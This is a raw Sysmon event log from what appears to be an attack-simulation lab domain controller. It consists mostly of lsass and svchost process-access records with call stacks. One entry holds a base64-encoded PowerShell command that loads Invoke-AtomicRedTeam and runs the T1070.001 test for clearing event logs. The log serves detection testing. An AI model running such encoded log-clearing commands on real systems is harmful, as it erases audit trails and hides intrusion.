\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003857Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.626{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003856Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.626{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003855Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.626{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003854Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:51.610{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003994Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.985{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_dpcnphbx.qbp.ps12020-10-09 09:10:52.985 10341000x80000000000000003993Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.970{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003992Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003991Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003990Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003989Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003988Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003987Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003986Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003985Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003984Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003983Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003982Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003981Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.954{A5F018FF-291C-5F80-C600-000000007F01}46883500C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|UNKNOWN(00007FFAA8E08890) 154100x80000000000000003980Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.957{A5F018FF-291C-5F80-CA00-000000007F01}4832C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADcAMAAuADAAMAAxACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291B-5F80-CF54-070000000000}0x754cf0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-291C-5F80-C600-000000007F01}4688C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000003979Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.766{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003978Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.766{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003977Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.766{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003976Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:52.720{A5F018FF-291C-5F80-C800-000000007F01}4836C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\ple0aevr.dll2020-10-09 09:10:52.626 10341000x80000000000000003975Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-291B-5F80-C300-000000007F01}8164756C:\Windows\system32\conhost.exe{A5F018FF-291C-5F80-C900-000000007F01}3316C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003974Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:52.720{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003973Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 